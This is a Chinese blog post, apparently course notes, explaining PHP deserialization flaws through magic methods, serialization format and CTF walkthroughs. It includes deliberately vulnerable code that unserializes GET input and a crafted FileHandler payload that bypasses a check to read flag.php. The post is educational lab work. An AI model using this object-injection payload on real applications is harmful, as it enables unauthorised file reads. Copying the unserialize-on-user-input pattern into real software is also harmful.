【反序列化】---PHP&JAVA全解(上)---day37

【反序列化】---PHP&JAVA全解(上)---day37

一、思维导图

image-20210502110710116

原理图:

image-20210502110945423

二、PHP反序列化

1、原理

image-20210502111048241

image-20210502111202541

https://www.cnblogs.com/20175211lyz/p/11403397.html

2、构造函数和析构函数

image-20210502111418742

3、__sleep()和__wakeup()

image-20210502111523704

4、toString()

image-20210502111612666

5、set(),get(),isset(),unset()

image-20210502111650812

6、invoke(),call()

image-20210502111726354

7、总结:

image-20210502111839379

8、序列化格式

无类测试:

image-20210502113141083

image-20210502112937164

还原:

image-20210502113625488

三、案例演示:

image-20210502111907453

1、先搞一把PHP反序列化热身题-无类问题-本地

测试代码:

flag.php

<?php
    $flag='I love xiaodi,ta xi huan chi xi gua '
?>
<?php
    error_reporting(0);
	include "flag.php";
	$KEY = "xiaodi";
	//传输 ?str=s:6:"xiaodi";
	$str = $_GET['str'];
	if (unserialize($str) === "$KEY"){
        echo "$flag";
	}
	show_source(__FILE__);
	//echo serialize($KEY);

本地测试:

image-20210502114650842

2、再撸一把CTF反序列化小真题压压惊-无类执行-实例

靶场:bugku

image-20210502115527105

image-20210502115608114

思路:

image-20210502115754779

image-20210502115938122

但是flag没有显示,原因是上面的请求了Hint。看源代码中的if和elseif,是这里的原因。

但是删除了?hint=1111之后,再请求,发现还是不对。原因是代码执行顺序的问题。这又是一个坑。

image-20210502120317815

所以我们传入Cookie的值应该为:

image-20210502120442736

修改cookie

image-20210502120525159

得到flag

image-20210502120504170

3、然后抗一把CTF发序列化练习题围观下-有类魔术方法触发-本地

测试代码:

PHP中类的写法:

<?php
	class ABC{
    public $test;
    function __construct(){
        $test = 1;
        echo '调用了构造函数<br>';
    }
    function __destruct(){
        echo '调用了析构函数<br>';
    }
    function __wakeup(){
        echo '调用了苏醒函数<br>';
    }
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';

运行效果:

image-20210502130529686

通过调用魔术方法来触发。

4、最后顶一把网鼎杯2020青龙大真题舒服下-有类魔术方法触发-实例

靶场:CTFHUB

①界面

image-20210502131735889

image-20210502131751143

②代码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")	//存在过滤
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {		//过滤
        $obj = unserialize($str);
    }

}

③思路:

  • 首先:首先ctf命名及代码函数unserialize判断反序列化知识点
  • 第一:获取flag存储flag.php
  • 第二:两个魔术方法__destruct __ construct
  • 第三:传输str参数数据后触发destruct,存在is_valid过滤
  • image-20210502133106312
  • 第四:__destruct中会调用process,其中op=1写入及op=2读取

image-20210502133213582

image-20210502133559190

image-20210502133618878

  • 第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

image-20210502133952862

image-20210502133829830

④操作:

<?php
class FileHandler{
    public $op=' 2'; //源码告诉我们op为1时候是执行写入,为2时候为执行读取。
    public $filename="flag.php"; //文件开头调用的是flag.php
    public $content="xd";	//这个无关紧要,随便输入就可以。
}

$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

image-20210502134502369

使用GET方式提交就行了

image-20210502134541623

查看页面源代码:找到flag

image-20210502134622873

⑤反思:

<?php
$s='O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}';
var_dump(unserialize($s));

?>

输入反序列化的结果:

image-20210502135235461

四、危害

SQL注入

image-20210502135951729

具体危害还是要看魔术方法中实现了什么功能,调用了什么函数。

posted @ 2021-05-17 21:03  DarkerG  阅读(190)  评论(0编辑  收藏  举报